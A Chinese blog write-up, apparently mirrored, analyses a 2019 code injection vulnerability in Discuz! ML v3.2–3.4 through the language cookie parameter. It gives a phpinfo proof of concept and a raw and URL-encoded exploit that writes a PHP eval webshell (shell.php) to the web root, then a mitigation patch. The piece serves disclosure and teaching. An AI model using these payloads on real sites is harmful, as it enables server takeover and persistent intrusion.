zoukankan      html  css  js  c++  java
  • [漏洞案例]Discuz ML! V3.X 代码注入漏洞

    0x00 前言

    Discuz!ML是一个由CodersClub.org创建的多语言,集成,功能齐全的开源网络平台,用于构建像“社交网络”这样的互联网社区。
    该引擎基于Comsenz Inc.创建的着名的Discuz!X引擎开发。

    0x01 漏洞描述

    1.1 简单描述

    2019年7月11日, Discuz!ML被发现存在一处远程代码执行漏洞,攻击者通过在请求流量的cookie字段中的language参数处插入构造的payload,进行远程代码执行利用,该漏洞利用方式简单,危害性较大。
    本次漏洞是由于Discuz! ML对于cookie字段的不恰当处理造成的
    cookie字段中的language参数未经过滤,直接被拼接写入缓存文件之中,而缓存文件随后又被加载,从而造成代码执行
    简而言之,如下图流程可以简单的理解该漏洞

    首先,通过cookie传入payload,构造好的payload被写入template文件中:

    接着,这个被插入payload的template.php文件被include,造成代码执行:

    1.2 受影响的系统版本

    Discuz! ML v.3.4
    Discuz! ML v.3.3
    Discuz! ML v.3.2

    0x02 漏洞分析

    详情请见:http://blog.topsec.com.cn/discuz-ml-v3-x-代码注入漏洞深度分析/

    0x03 漏洞演示

    3.1 环境搭建

    官网下载:http://discuz.ml/download
    解压后将upload所有内容放到网站目录,访问一步步安装即可。

    3.2 漏洞定位

    在上面的漏洞分析中,可将漏洞信息总结如下:外部参数$lng(即language语言)可控,导致template 函数生成的临时模板文件名可操纵,插入自己的代码,最终include_once包含一下最终导致了代码注入。所以有包含template 函数的网页中,都存在此类的代码注入点。

    3.3 漏洞测试演示

    注:在此我将用论坛的主页面(index.php),作为漏洞的演示:

    首先看首页里的cookis值中就包含我们想要的language参数:

    动手构造我们的POC(测试代码):在26D7_2132_language=sc后面添加以下内容:

    '.phpinfo().'
    

    成功返回phpinfo()响应,证明此系统存在代码注入漏洞!

    3.4 漏洞执行演示

    EXP(原):

    '.file_put_contents('shell.php',urldecode('<?php eval($_POST["mo"]);?>')).'
    

    (因为改动的COOKIE中包含分号,其中有可能会出现语法错误,所以这里采用URL编码格式,最后再解过来就没问题了)

    EXP(改):

    %27.file_put_contents%28%27shell.php%27%2Curldecode%28%27%253c%253fphp%2520eval%28%2524_%2550%254F%2553%2554%255b%2522mo%2522%255d%29%253b%253f%253e%27%29%29.%27
    

    (2)修改cookie中的xxx_language值为exp内容:这里加上exp后,主页返回正常

    (3)在主页中进行代码注入,则上传的shell.php在网站根目录下:

    (4)看看效果:满分

    漏洞修复

    VulkeyChen师傅的建议:单看语言这个点,在/source/class/discuz/discuz_application.php 第338行之后341行之前加入该代码暂缓此安全问题:

    $lng = str_replace("(","",$lng);
    $lng = str_replace(")","",$lng);
    $lng = str_replace("'","",$lng);
    $lng = str_replace('"',"",$lng);
    $lng = str_replace('`',"",$lng);
    

    参考链接

    1.http://blog.topsec.com.cn/discuz-ml-v3-x-代码注入漏洞深度分析/
    2.https://mp.weixin.qq.com/s/5Zl3Jve4eblNIXh30t469w
    3.https://mp.weixin.qq.com/s?__biz=Mzg4NzI0MDMwMQ==&mid=2247483730&idx=1&sn=79706db47b39bd4e36d9cbe2c7bde301&chksm=cf8c2250f8fbab463558ece653ed8c413c0eb8f3dfdac13de9f4e9bad40c20ef87b0c2f90e7b&mpshare=1&scene=23&srcid=#rd

    ----------------------------------------------------------------------------
    作者:肖洋肖恩、
    QQ: MjYwNjAxMzE5
    ----------------------------------------------------------------------------
    文中可能会存在纰漏,若发现请联系与我。
    本文所有代码仅可用于站长自我检测与学习,如用于非法攻击一切后果自负。
  • 相关阅读:
    Altium Designer 出现错误提示(警告)adding items to hidden net GND/VCC
    proteus 查找 仿真元件 中英文对照 [持续更新]
    proteus 运行出错,用户名不可使用中文!
    proteus汉化
    proteus怎么仿真?
    keil 怎样新建工程,编写代码?
    raspberry pi2 智能小车源码及测试视频
    项目优化
    PHP composer
    腾讯云通信接入
  • 原文地址:https://www.cnblogs.com/-mo-/p/11180396.html
Copyright © 2011-2022 走看看